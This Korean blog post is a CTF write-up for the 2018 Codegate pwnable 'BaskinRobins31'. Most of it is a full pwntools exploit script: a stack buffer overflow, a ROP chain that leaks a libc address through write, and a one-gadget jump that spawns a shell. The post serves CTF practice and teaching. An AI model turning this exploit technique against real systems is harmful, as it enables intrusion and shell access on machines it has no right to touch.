본문 바로가기
pwnable/ctf

[write-up] 2018 codegate - BaskinRobins31

by Ryuuu 2018. 2. 6.

2018 코드게이트 퍼너블 첫문제이다.



먼저 64비트 바이너리였다.




보호기법은 nx만 걸려져 있었다.




프로그램을 실행해보니 베스킨 라빈스 게임을 하는 프로그램이었다.





코드에서 입력을 받는 read를 따라가 봤더니 바로 버퍼오버플로우가 나는 것을 확인할 수 있었다.




이제 그냥 64bit rop해주면 된다.


첫문제라 쉽다.



payload



 
# !usr/bin/env python
# ryuuu

from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

libc_start_main_offset = libc.symbols['__libc_start_main']


s = process("./baskin")
#s = process(["strace","-i","./baskin"])
#s = remote("ch41l3ng3s.codegate.kr", 3131)

payload = "A"*180
payload += "leak"
payload += p64(0x40087c) # pop rdx ; ret
payload += p64(0x1)
payload += p64(0x40087b) # pop rsi ; pop rdx ; ret
payload += p64(0x602048) #libc_start_main_got
payload += p64(0x10)
payload += p64(0x4006D0) # write_plt
payload += p64(0x400A4B) # main_addr

s.sendlineafter("(1-3)\n",payload)

s.recvuntil(":( ")

libc_start_main_addr = u64(s.recv(9)[1:])

libc_base = libc_start_main_addr - libc_start_main_offset

log.info("libc_start_main_addr		:"+hex(libc_start_main_addr))
log.info("libc_base			:"+hex(libc_base))

magic_gadget = libc_base + 0xf1117

s.sendlineafter("(1-3)\n", "A"*184+p64(magic_gadget))

s.interactive()


'pwnable > ctf' 카테고리의 다른 글

[write-up] 2018 ASIS CTF - Cat  (0) 2018.05.02
[write-up] 2018 codegate - Super Marimo  (0) 2018.03.08
[write-up] 2017 white_league-start  (0) 2018.02.05
[write-up]Codegate 2017 babypwn  (1) 2018.01.31
[write-up] 2016 hdcon - pwnit  (0) 2018.01.29

댓글